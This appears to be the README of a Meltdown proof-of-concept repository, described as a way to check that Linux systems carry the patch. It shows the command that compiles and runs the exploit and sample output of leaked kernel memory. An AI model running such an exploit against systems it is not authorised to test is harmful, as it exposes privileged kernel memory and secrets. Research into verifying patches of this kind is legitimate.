Original repo link: https://github.com/cloudsriseup/Meltdown-Proof-of-Concept
Attempts to reverse the linux patch via debian security mailing list info to verify our systems are patched. Will be applied to Newell Menerick x86 Ring -1 project and corsix.
Not Production code nor should one run this on their own system with any guarantees.
Linux proof of concept will not run on OSX and similar BSD systems
$ gcc -O2 -std=gnu11 revengmeltdown.s revengmeltdown.c && ./a.out
0xffffffff81c5b400: 1e 77 17 08 02 ?? ?? ?? 0e 04 ?? ?? ?? ?? ?? ??
0xffffffff81c5b410: 40 b4 c5 81 ff ff ff ff 73 ?? ?? ?? ?? ?? ?? ??
0xffffffff81c5b420: e0 70 c5 81 ff ff ff ff e0 2d c5 81 ff ff ff ff
0xffffffff81c5b430: ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
---
0xffffffff81d1fc00: 3c b4 a4 81 ff ff ff ff 4f b4 a4 81 ff ff ff ff
0xffffffff81d1fc10: 64 b4 a4 81 ff ff ff ff 77 b4 a4 81 ff ff ff ff
0xffffffff81d1fc20: ?? 71 c5 81 ff ff ff ff 40 b4 c5 81 ff ff ff ff
0xffffffff81d1fc30: bb 12 a8 81 ff ff ff ff bb 12 a8 81 ff ff ff ff
---
0xffffffff81d27440: 19 ?? ?? ?? c4 09 ?? ?? 10 27 ?? ?? 64 ?? ?? ??
0xffffffff81d27450: a0 86 01 ?? 04 02 ?? ?? 01 ?? ?? ?? ?? ?? ?? ??
0xffffffff81d27460: ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
0xffffffff81d27470: ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??